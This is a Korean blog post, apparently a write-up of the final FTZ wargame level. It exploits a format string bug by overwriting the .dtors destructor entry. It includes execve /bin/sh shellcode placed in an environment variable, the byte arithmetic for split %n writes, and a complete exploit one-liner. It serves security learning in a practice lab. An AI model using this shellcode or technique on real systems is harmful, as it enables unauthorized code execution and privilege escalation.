System/FTZ

FTZ. 20

dcho 2019. 9. 6. 14:31
SMALL
level20 // we are just regular guys

대망의 마지막 문제!


배열의 크기는 80인데 fgets 에서 입력받는 크기는 79이다. 즉 bof 로 ret 값을 변조가 안된다는 것이다.

그럼 무엇을 쓰면 좋을까? 

다른것과 비교해 봤을 때 printf에서 차이점이 드러난다. 포맷스트링 %s를 사용하지 않고 단순 배열을 매개변수로 받는다. 

이것은 FSB(Format String Bug)취약점이 발생하게 된다. 

포맷스트링 에는 여러가지가 있다.

  • %c : 단일문자 출력
  • %x : 부호없는 16진수 출력
  • %n : 이전까지 쓰인 byte 수만큼 저장

FSB에서 가장 중요한 포맷스트링은 %x, %n 이다.

%x는 메모리를 읽어낼때, %n은 %n이 가리키는 주소에 저장할때!

먼저 메모리 구조를 대충 읽어봐야하야 하기에 포맷스트링을 이용해 보았다.



RET 의 주소를 알기 위해 gdb 를 이용하려고 했다.


흠 심볼이 없다고 한다..  어떻게 해야하지?

일단 "/bash/sh" 가 없다. 그렇다면 환경변수를 이용해 공격해보자고 생각했다.

SH의 페이로드는 다음과 같다.

export SH=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'`

등록한 후 주소를 알아 보았다.


little endian : \x61\xfe\xff\xbf

파일을 실행하며 규칙을 찾아 보려고 했다. 

AAAA %d %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x 


bleh 다음으로 (20642520 25207825 78252078)  *  6  연속적으로 나온다음 8002520 42130a14 이 최대이다. 

이렇게 삽질을 하고 난뒤 



%x,d 를 하면 esp - 4바이트 만큼 이동하는 것을 알 수 있다. 

printf, fets를 다 읽고 난 뒤 bleh에 입력한 값을 가리킨다.  

여기 문제에서 힌트를 통해 어떤것이 사용되는 지를 알아보았다.

  • .dtors = 소멸자(destructor)
    • 모든 실행 파일에는 _do_global_dtors()라는 함수가 존재
    • 이 함수는 .dtors + 4번째 있는 메모리주소에 0이 아닌값이 있을 경우 실행됨

힌트를 통해 ret대신 소멸자를 덮어 쓰기로 했다.


objdump -h 옵션으로 심볼을 출력한뒤 소멸자 부분의 주소를 찾아 내었다. 

소멸자의 주소는 0x08049594 에서 +4  를 한 0x08049598 이다.

먼저 간단한 페이로드로는 다음과 같다.

앞에 AAAA를 넣어주는 이유 : %c도 포맷 스트링이기에 4byte를 처리를 해줘야한다. 

%x를 해주게 되면 \x4f는 1바이트(길이가 2)이기 때문에 %8x로 크기(%8x는 4byte 길이는 8)를 맞춰줘서 ret 주소가 들어있는 버퍼로 이동시켜준다.

[AAAA] + [.dtors소멸자 주소 + 4 ] + [%8x] *3 + [%(환경변수주소)c%n]


그런데 환경변수주소가 10진수로 바꾸면 3,221,225,057 

4byte의 최대 표현 범위인 2,147,483,647 를 넘는다.  그렇다면 나눠 줘야 한다. 

환경변수주소1 은 .dtors소멸자 주소 + 4 , 환경변수주소 2 는 .dtors소멸자 주소 + 6 로 넣어준다. 

[AAAA] + [.dtors소멸자 주소 + 4 ] + [AAAA] + [.dtors소멸자 주소 + 6 ] + [%8x] *3 + [%(환경변수주소1)c%n] + [%(환경변수주소2)c%n]



버퍼에는 낮은주소-> 높은주소 순이다. 

리틀 엔디엔을 적용해서 넣어 준다면

49151 65121

[AAAA] + [\x98\x95\x04\x08] + [AAAA] + [\x9a\x95\x04\x08] + [%8x] *3 + [%65120c%n] + [%49151c%n]

이렇게 넣어주면 된다. 

하지만 여기서 놓치고 있는것이 있는데 앞에서 사용한 byte 수들을 모두 고려해야한다. 

[AAAA] + [\x98\x95\x04\x08] + [AAAA] + [\x9a\x95\x04\x08] + [%8x] *3

%n 까지도 들어간다. 그러므로 위의 부분의 길이를 빼줘야 한다. 4 + 4 + 4 + 4 + 24 = 40 

환경변수주소 1 (FE60) : 65120 - 40 = 65080

환경변수주소 2 (BFFF) : 

49151-65120 = 여기서 잠깐! 음수계산을 하기위해 16진수로 계산하여  역으로 1BFFF - FE60 해준뒤 10진수로 표현해준다.

계산결과 : C19F ( 49567 )

(python -c 'print "AAAA" + "\x98\x95\x04\x08" + "AAAA" + "\x9a\x95\x04\x08" + "%8x" * 3 + "%65080c%n" + "%49567c%n"';cat) | ./attackme


후.. 며칠을 했는지 모르겠다.. 꽤나 어려웠던 문제 도움도 많이 받고 혼자힘으로 입문(?) 을 푼 느낌은 아니였다. LOB 올클 하러가야지





'System > FTZ' 카테고리의 다른 글

FTZ. 19  (0) 2019.09.06
FTZ. 18  (0) 2019.09.06
FTZ. 17  (0) 2019.09.06
FTZ. 16  (0) 2019.09.06
FTZ. 15  (0) 2019.09.06